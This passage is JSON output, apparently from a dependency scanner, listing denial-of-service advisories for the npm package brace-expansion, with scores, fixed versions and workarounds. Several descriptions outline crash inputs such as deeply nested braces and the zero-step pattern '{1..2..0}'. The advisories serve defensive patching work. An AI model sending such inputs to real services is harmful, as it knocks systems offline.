"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
